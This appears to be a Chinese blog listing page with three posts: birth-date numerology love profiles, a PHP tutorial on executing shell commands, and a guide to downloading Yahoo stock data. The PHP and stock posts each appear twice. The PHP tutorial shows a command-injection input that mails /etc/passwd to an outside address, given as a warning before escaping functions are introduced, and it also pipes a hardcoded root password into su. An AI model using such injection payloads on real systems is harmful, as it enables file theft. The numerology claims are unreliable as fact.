1号恋人: 每月 1 日、10 日、19 日、28 日出生者
  1 号恋人的爱情是很浓烈的,平淡、细水长流的爱情不怎么能引起1号恋人的兴趣, 1号恋人也不喜欢自我折磨、压抑的恋情方式。对 1号恋人来说,爱情就是应该正大光明、且充满喜悦与希望的,尤其你相当重视爱情的“相互性”,认为唯有双方都能彼此吸引,才能够成爱情的基本条件, 1号恋人并不会苦苦追求心仪的对象,也甚少出现“死缠烂打”的状况。
  1号恋人和情人之间的互动就像一场狩猎游戏,不论是猎捕对方,或是让对方猎捕,1 号恋人时时不断在追求一种“征服”的刺激感。1号恋人期望与爱人能时时产生火花,时时确认双方在这段感情中的重要性;这样的1号恋人,当然也特别重视另一半的忠诚度啰!
  失恋症结点:小心你的主观意识太强,时时要以你的意见为优先,伴侣可是会受不了的!
  你是哪种1 号恋人?
  每月1日出生的 1号恋人:特别喜欢主导情势,恋爱对象要够优秀、够特别才能够吸引他。
  每月10日出生的 1号恋人:很清楚自己要的是什么!猜来猜去的暧昧游戏会让他/她丧失耐性。
  每月19日出生的1 号恋人:性格特别神秘、低调,别有一番吸引力;可与爱人打得非常火热,但也需要独处的时间。
  每月28日出生的 1号恋人:最为合群、温柔的 1号恋人,但若在金钱、事业上没有保障的话,可是无法专心谈感情的。


2 号恋人: 每月2 日、 11 日、 20日、 29日出生者
  2 号恋人是最容易进入恋爱的状况的恋人,不论是实际的或是想象的,2号恋人的罗曼史可是几乎从不间断的!基本上 2号恋人无法忍受寂寞攻势打动,甚至从不懂得明确地说不。 2号恋人喜欢与伴侣有形影不离的关系,喜欢彼此之间亲密的举动,是标准“甜腻型”的恋人,也特别容易受温柔、体贴的对象吸引。甜言蜜语和肢体的触碰,在 2号恋人的恋情里是不可缺少的!
  2号恋人非常禁不起摩擦和争吵,所有不和谐、不柔和的状态对2 号恋人来说,都是一种莫大的压力。但是 2号恋人很容易心软,也堪称复合率最高的数字,2 号恋人很难拒绝他人的柔情攻势,往往禁不起恋人的苦苦哀求,又重新回到曾经伤害自己的人身边。
  失恋症结点:2 号恋人甜起来很甜,黏起来却也很黏!“甜蜜的负荷”最适合形容2号恋人,小心让恋人喘不过气而逃之夭夭!
  你是哪种 2号恋人?
  每月 2日出生的2 号恋人:不会令人猛然惊艳,但相处起来后劲却很强!脾气好到让人不忍拒绝。
  每月 11日出生的2 号恋人:外表冷静温和,内心却极度热情,这种时动时静的特 质,特别引人玩味。
  每月20日出生的 2号恋人:不会去抢人群中的锋头,但天生具备一股令人注意的魅力,人们就是会记住 20日的恋人!
  每月 29日出生的2 号恋人:最懂得掌控“需要”与“被需要”之间的权力关系,恋人特别会心甘情愿跟随29 日的恋人!


3 号恋人 : 每月3 日、12 日、21 日、30 日出生者
  3号恋人是属于活在当下的恋人,不实际的事物,很难让他们发生幻想,因此需要很直接的、感官的吸引,像是姣好的面孔、飘逸的长发、容易吸引 3号恋人,这种特质让 3号恋人顺利荣登外貌协会第一号会员!玲珑的曲线、厚实的胸膛都特别…
  基本上3号恋人不太喜欢用理智的态度来面对爱情,认为爱情最重要的就是“感觉”;因此, 3号恋人很喜欢和对象搞点小把戏,沉浸在一片爱情的美好气氛里,正是爱情的最大意义。因此,当感情出现问题,或是悲伤、愤怒…等负面的情绪时,都需要动脑来解决,这正是最令 3号恋人最反感的部分,也是最不耐的部份。很有趣的一点是, 3号恋人看起来总较同年龄的人年轻,其实活泼的性态度正是3 号恋人保持青春、活力的主因之一喔!
  失恋症结点:当心啊,美丽的、刺激的事物是如此容易吸引你的目光,你的一颗心也就暂时跟着飞了,恋人们可不能常常饱受这种恐惧呀!
  你是哪种 3号恋人?
  每月3 日出生的3 号恋人:好玩、活动力强、热爱生命,恋人最好懂得与他一起在社交、游乐世界里翩翩起舞。
  每月 12日出生的3 号恋人:既懂得掌握自己的原则,又能同时满足他人,这一型的恋人是个人风格明显的个体,让人的目光难以转移。
  每月21日出生的 3号恋人:豁达、乐观的生活态度,不自觉地就感染他人,让人在不觉中,就已经对这种感觉上瘾。
  每月30 日出生的3号恋人:看起来是这么地活泼灵动,内涵却又有深度得很,令人喜欢与他为伍,又喜欢向他看齐。


4 号恋人: 每月4 日、13 日、 22 日、31 日出生者
  对4号恋人来说,安全感永远是第一考量,不过,第二、第三、第四考量恐怕还是安全感。
  4号恋人对爱情的观念很传统,会以相当认真的态度去面对和经营爱情。要4 号恋人主动出击…嘿嘿,他们可不轻易打没有把握的仗;不过,当有人对 4号恋人主动表示好感的时候, 4号恋人往往会以最快的速度跳入陷阱。
  只不过,4 号恋人还是很坚持原则的,再怎么爱、再怎么盲目,若对方不能达到4 号恋人最基本的要求——也就是对方不能独属你一人时,4号恋人最终还是会从短暂的盲目中清醒,脱离这段没有结果的关系。
  4 号恋人特别需要安全感,所以也特别需要了解和掌握恋人的一切。4号恋人一向是看准了、了解了、做好准备了…才会付出行动;因此, 4号恋人的对象往往是从身边的朋友下手,从一般的关系开始萌生爱情的嫩芽。
  失恋症结点:没有足够的安全感时,4 号恋人会比其它数字来得焦虑难安!因此,4号恋人特别需要掌握情人的行踪,这种举动会让许多情人受不了。
  你是哪种 4号恋人?
  每月4 日出生的4 号恋人:最理想的贤妻良母、好丈夫类型,生活的细节靠他准不会出错。
  每月 13日出生的4 号恋人:13日的恋人很讨厌落单,偏偏他们也真有本事,就是让你心甘情愿跟他东奔西走的。
  每月22 日出生的4 号恋人:直觉既强又准的恋人,对于他们的原则,你还是跟着照办为妙吧!
  每月 31日出生的4 号恋人:外表规矩、内心狂放,表里落差最大的恋人,越深入了解越有挑战性!


5 号恋人: 每月5 日、14 日、23 日出生者
  对5号恋人来说,爱情和日常生活并没有太大的不同,“新鲜感”永远是 5号人生活中的最高指导原则,因此, 5号人从不是一个专心的恋人,5 号恋人无法只把爱情或是伴侣放在第一位。在这种前提之下,“短而有力”的爱情火花特别吸引5 号恋人,而那些头脑聪明、有特殊才能的对象也让你感到深具挑战性。
  比起恋人,5号恋人更像是称职的玩伴,总是有满满的精力等着去探索世上更多有趣的事情,如果情人给 5号恋人太多的束缚和限制,可是会让 5号恋人想要逃开!不过相对的, 5号恋人也很公平,他们能给予伴侣很大的空间,因为,深知自由有多可贵的,当然非5 号恋人莫属啦!
  失恋症结点:5 号恋人的生活都特别随性、灵活,伴侣很难掌握你的行踪和你的心!如果遇上特别需要安全感的伴侣,两方可有得考验啦!
  你是哪种5 号恋人?
  每月 5日出生的5 号恋人:好奇心极强的生活玩家,有这样的情人,再平常的生活小事,都会变得乐趣十足!
  每月14日出生的 5号恋人:14 日出生的恋人既干脆又直接,不矫作的作风,很容易获得同性和异性的欣赏。
  每月23日出生的 5号恋人:23 日出生的恋人,最懂得规划自己的生活,情人或伴侣,只是一个部份而已,别想黏得太紧啊!


6号恋人 :每月 6日、 15日、 24日出生者
  6 号恋人是标准甜腻型的恋人,很懂得藉由身边的事物传达情感,也能说出一口漂漂亮亮的情话,对于心中的感觉,6号恋人从来无法压抑或等候,一定要充分表现出来。对 6号恋人来说,爱不能光说不练,要付诸实际行动才算,因此,在人群中很容易找出 6号恋人的情人,两人的动作、话语可是相当亲昵的。
  6号恋人不仅懂得为伴侣营造浪漫的气氛,自己本身也很容易被浪漫的情境打动,6 号恋人很容易对一首小诗、一段歌词或是一句名言产生感觉,也很容易被一个强烈的眼神所征服。基本上6 号恋人需要和伴侣维持紧密的关系,你无法忍受分隔两地或是行径太过独立的恋人,因此,6号恋人需要对伴侣透彻的了解,最好能全盘掌握他的伴侣。
  失恋症结点:太腻爱自己的情人,反而让情人喘不过气!什么都想为情人打点、准备,对方反而会觉得在跟自己的老爸老妈谈恋爱哩!
  你是哪种6 号恋人?
  每月6日出生的 6号恋人:6 日出生的人是最懂得浓情蜜意的恋人!想要挑战的人,可得先做好一点心理准备,他们强烈的爱意可不是那么容易招架的。
  每月15日出生的 6号恋人:认真的男人 / 女人最美丽,15日出生的恋人对家庭 和正义热情专注的模样,足以让人深深吸引。
  每月24日出生的 6号恋人:完美主义型的恋人,就连他本人,都完美得难以挑剔。


7号恋人 :每月 7日、 16日、 25日出生者
  7号恋人的神秘感,让他们有一种说不上来的性感和魅力。 7号恋人可说是天生的恋人,认为恋爱关系必须具备性原始的吸引力。 7号恋人拥有非常丰富的想象力,在 7号恋人的爱情里,幻想的成分要比其它恋人大得多哩!因此,在恋爱关系中,7 号恋人也尽量避免正面表露或接受爱意,他们喜欢且擅长用暗示、蛇行的方式前进,因为太直接的方式只能有一种意义——就是字面上的意义,如此一来,7 号恋人赖以维生的想象的空间便会消失殆尽。
  7号恋人就像是“天生的孤独者”,通常 7号的恋人喜欢自己和自己作伴,喜欢自己决定、安排生活,在恋人关系中也比较以自我为考量。所以呢, 7号恋人也叫做“part time lover”,兼职的情人,他们无法全天候待命,很需要自我的空间。若和 7号恋人感情想要走得长久,对方必须要能够给予很大的空间和距离。
  失恋症结点:过于敏感的 7号恋人,为了避免无谓的冲突,常常选择以一种不在乎、冷漠的态度面对事物,却也常常造成伴侣的误解和伤害。
  你是哪种7号恋人?
  每月 7日出生的7 号恋人:7日出生的恋人喜欢独来独往,偏偏看似无人可亲近,越让他们的身价上扬!
  每月16 日出生的7号恋人: 16日出生的恋人,天生拥有一股高贵又冷静的气质,他越是保持距离,就让人越想一探究竟!
  每月25 日出生的7号恋人: 25日出生的恋人观察力、理解力一流,让人觉得与他们心意相通。


8号恋人 :每月 8日、 17日、 26日出生者
  8 这个数字天生就拥有强大的能量,在 8号恋人身上,也有一股足以蛊惑人般的魅力,这股饱含能量的气质让8号恋人的魅力浑然天成,宛如天生的爱情操盘手。
  掌控的权力关系对 8号人来说是很值得玩味的游戏,和恋人之间, 8 号人就相当热衷于这样的角力游戏,尤其喜欢彼此受对方强烈的吸引,我们形容8 号恋人可以用一支小指头驾驭他的恋人,而且对方还乐于被他指使,8 号恋人就是有这样的能耐,宛如爱情中高高在上的王者,不容侵犯。这样王者般的恋人其实希望恋人的目光永远只在自己身上,但王者的尊严又不允许 8 号恋人在情感上认输,因此, 8号恋人从不喜欢刻意展示自己和情感,可是不论他们看起来多么冷静、无情,其实心底还是很向往热情,尤其对执着的恋情渴望得很。
  失恋症结点:8号恋人通常爱得重、恨得也重,另一半必须心脏够强,能够担负得起才行。  
  你是哪种8 号恋人?
  每月8日出生的 8号恋人:8 日出生的恋人有魔力般的魅力,但是想要掌控他们却是难上加难,倒不如自己投降来得快些。
  每月17 日出生的8号恋人: 17日出生的,是最冷静、理智的恋人,往往感情反而得要靠着理性,维持得比谁都长。
  每月26 日出生的8号恋人:看似柔情似水,却是无比坚毅的恋人,软硬兼施的高明手段,在情路上相遇可是加倍的刺激过瘾哩!


9 号恋人: 每月9 日、18 日、27 日出生者!
  9 号恋人是“天生的付出者”,天生乐意去取悦他人,只要对方可以接收得到、能够感到快乐,这就是 9号恋人最大的回报。不过, 9号恋人虽然不公开表示,但在内心里,对于同等的关爱和回报,也是很渴望的。 9号人天生乐观、幽默,但 9 号恋人看似拥有开放的心态,实际上在爱情上还是属于比较保守的一派。基本上9 号恋人很重视“正式”的关系,偷偷摸摸的、或是“地下情人”这种身分, 9 号恋人都无法忍受,很快就会结束这种关系。此外, 9号恋人对伴侣的要求很高,希望对方有专业能力、才华、魅力…基本上他人肯定、称赞自己的伴侣,对 9 号恋人就像是情话般动听。
  失恋症结点:真不知道9号恋人是要一个崇拜对象呢?还是一个恋人?有时过度在意对方的条件、背景,反而会让感情变得很现实。
  你是哪种9号恋人?
  每月9日出生的 9号恋人:心态开放,对每件事物都抱着强烈的兴趣,有他,生命让人觉得更精彩,是个很好的玩伴和生活伴侣。
  每月18 日出生的9号恋人:一眼看不完,内在值得细细品味的恋人。
  每月27 日出生的9号恋人:极度锐利的理性和感性,让 27日出生的恋人成为一种奇妙的综合体,让人不禁想要弄清楚,自己到底在不在他的脑袋瓜子里?
Tags:

由于PHP基本是用于WEB程序开发的,所以调用外部系统命令安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

执行外部命令

在打开文件时有些限制

连接MySQL数据库

基于HTTP的认证

在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。

如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

如何做?

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

system("/usr/local/bin/webalizer/webalizer");

?>

exec()

原型:string exec (string command [, string array [, int return_var]])

exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

header("Content-type: image/gif");

passthru("./ppmtogif hunte.ppm");

?>

2) 用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

例子1:

$fp=popen("/bin/ls -l", "r");

?>

例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = "su --login root --command";

$useradd = "useradd ";

$rootpasswd = "verygood";

$user = "james";

$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

$res='/bin/ls -l';

echo '
'.$res.'
';

?>

这个脚本的输出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么?

要考虑两个问题:安全性和超时。

先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

system("mail $to < products.txt");

echo "我们的产品目录已经发送到你的信箱:$to";

?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail someone@domain.com < /etc/passwd ;'

那么这条命令最终变成:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

system("/usr/local/bin/order_proc > /tmp/null &");

?>

由于PHP基本是用于WEB程序开发的,所以调用外部系统命令安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

执行外部命令

在打开文件时有些限制

连接MySQL数据库

基于HTTP的认证

在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。

如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

如何做?

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

system("/usr/local/bin/webalizer/webalizer");

?>

exec()

原型:string exec (string command [, string array [, int return_var]])

exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

header("Content-type: image/gif");

passthru("./ppmtogif hunte.ppm");

?>

2) 用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

例子1:

$fp=popen("/bin/ls -l", "r");

?>

例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = "su --login root --command";

$useradd = "useradd ";

$rootpasswd = "verygood";

$user = "james";

$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

$res='/bin/ls -l';

echo '
'.$res.'
';

?>

这个脚本的输出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么?

要考虑两个问题:安全性和超时。

先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

system("mail $to < products.txt");

echo "我们的产品目录已经发送到你的信箱:$to";

?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail someone@domain.com < /etc/passwd ;'

那么这条命令最终变成:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

system("/usr/local/bin/order_proc > /tmp/null &");

?>

  本文由ArthurXF倾情奉献,转载请保留作者说明.另本人受聘上海非凡进修学院授IT技术课,招生简章在此:http://www.bizeway.net/read.php/285.htm,有兴趣学习的,可以跟我联系或者电话咨询.QQ:29011218,TEL:021-51097877.
  最近股市甚火,受聘开发一股票网站,股票的数据从哪里来成了一个大问题,股票软件一般都是加密处理的,还有一些web services也是要帐号的,免费的方法只有一种了,抓别人网站的数据。好在经我研究,发现yahoo提供国内和国外股市每天的交易数据资料,这可谓一大幸事啊。
http://table.finance.yahoo.com/table.csv?s=ibm&d=6&e=22&f=2006&g=d&a=11&b=16&c=1991&ignore=.csv
上面的链接可以抓取IBM股票从1991年11月16日起到2006年6月22的数据。把ibm改成sohu,就可以抓到sohu的股票数据了。
http://table.finance.yahoo.com/table.csv?s=sohu&d=6&e=22&f=2008&g=d&a=11&b=16&c=2008&ignore=.csv
上面链接可以抓搜狐股票的数据。

  那么中国股市的数据有没有呢?答案是肯定的,不过要按照下面的参数做些调整,下面提供全球证券交易所的资料。
上证股票是股票代码后面加上.ss,深证股票是股票代码后面加上.sz
例如:000001 = 000001.sz
深市数据链接:http://table.finance.yahoo.com/table.csv?s=000001.sz
上市数据链接:http://table.finance.yahoo.com/table.csv?s=600000.ss
上证综指代码:000001.ss,深证成指代码:399001.SZ,沪深300代码:000300.ss

下面就是世界股票交易所的网址和缩写,要查找哪个股票交易所的数据,就按照上面的格式以此类推。
上海交易所=cn.finance.yahoo.com,.SS,Chinese,sl1d1t1c1ohgv
深圳交易所=cn.finance.yahoo.com,.SZ,Chinese,sl1d1t1c1ohgv
美国交易所=finance.yahoo.com,,United States,sl1d1t1c1ohgv
加拿大=ca.finance.yahoo.com,.TO,Toronto,sl1d1t1c1ohgv
新西兰=au.finance.yahoo.com,.NZ,sl1d1t1c1ohgv
新加坡=sg.finance.yahoo.com,.SI,Singapore,sl1d1t1c1ohgv
香港=hk.finance.yahoo.com,.HK,Hong Kong,sl1d1t1c1ohgv
台湾=tw.finance.yahoo.com,.TW,Taiwan,sl1d1t1c1ohgv
印度=in.finance.yahoo.com,.BO,Bombay,sl1d1t1c1ohgv
伦敦=uk.finance.yahoo.com,.L,London,sl1d1t1c1ohgv
澳洲=au.finance.yahoo.com,.AX,Sydney,sl1d1t1c1ohgv
巴西=br.finance.yahoo.com,.SA,Sao Paulo,sl1d1t1c1ohgv
瑞典=se.finance.yahoo.com,.ST,Stockholm,sl1d1t1c1ohgv

  以上方法只能提供历史数据,实时数据不能抓取,此方法由ArthurXF提供,转载请注明出处。谢谢!

  本文由ArthurXF倾情奉献,转载请保留作者说明.另本人受聘上海非凡进修学院授IT技术课,招生简章在此:http://www.bizeway.net/read.php/285.htm,有兴趣学习的,可以跟我联系或者电话咨询.QQ:29011218,TEL:021-51097877.
  最近股市甚火,受聘开发一股票网站,股票的数据从哪里来成了一个大问题,股票软件一般都是加密处理的,还有一些web services也是要帐号的,免费的方法只有一种了,抓别人网站的数据。好在经我研究,发现yahoo提供国内和国外股市每天的交易数据资料,这可谓一大幸事啊。
http://table.finance.yahoo.com/table.csv?s=ibm&d=6&e=22&f=2006&g=d&a=11&b=16&c=1991&ignore=.csv
上面的链接可以抓取IBM股票从1991年11月16日起到2006年6月22的数据。把ibm改成sohu,就可以抓到sohu的股票数据了。
http://table.finance.yahoo.com/table.csv?s=sohu&d=6&e=22&f=2008&g=d&a=11&b=16&c=2008&ignore=.csv
上面链接可以抓搜狐股票的数据。

  那么中国股市的数据有没有呢?答案是肯定的,不过要按照下面的参数做些调整,下面提供全球证券交易所的资料。
上证股票是股票代码后面加上.ss,深证股票是股票代码后面加上.sz
例如:000001 = 000001.sz
深市数据链接:http://table.finance.yahoo.com/table.csv?s=000001.sz
上市数据链接:http://table.finance.yahoo.com/table.csv?s=600000.ss
上证综指代码:000001.ss,深证成指代码:399001.SZ,沪深300代码:000300.ss

下面就是世界股票交易所的网址和缩写,要查找哪个股票交易所的数据,就按照上面的格式以此类推。
上海交易所=cn.finance.yahoo.com,.SS,Chinese,sl1d1t1c1ohgv
深圳交易所=cn.finance.yahoo.com,.SZ,Chinese,sl1d1t1c1ohgv
美国交易所=finance.yahoo.com,,United States,sl1d1t1c1ohgv
加拿大=ca.finance.yahoo.com,.TO,Toronto,sl1d1t1c1ohgv
新西兰=au.finance.yahoo.com,.NZ,sl1d1t1c1ohgv
新加坡=sg.finance.yahoo.com,.SI,Singapore,sl1d1t1c1ohgv
香港=hk.finance.yahoo.com,.HK,Hong Kong,sl1d1t1c1ohgv
台湾=tw.finance.yahoo.com,.TW,Taiwan,sl1d1t1c1ohgv
印度=in.finance.yahoo.com,.BO,Bombay,sl1d1t1c1ohgv
伦敦=uk.finance.yahoo.com,.L,London,sl1d1t1c1ohgv
澳洲=au.finance.yahoo.com,.AX,Sydney,sl1d1t1c1ohgv
巴西=br.finance.yahoo.com,.SA,Sao Paulo,sl1d1t1c1ohgv
瑞典=se.finance.yahoo.com,.ST,Stockholm,sl1d1t1c1ohgv

  以上方法只能提供历史数据,实时数据不能抓取,此方法由ArthurXF提供,转载请注明出处。谢谢!

分页: 128/255 第一页 上页 123 124 125 126 127 128 129 130 131 132 下页 最后页 [ 显示模式: 摘要 | 列表 ]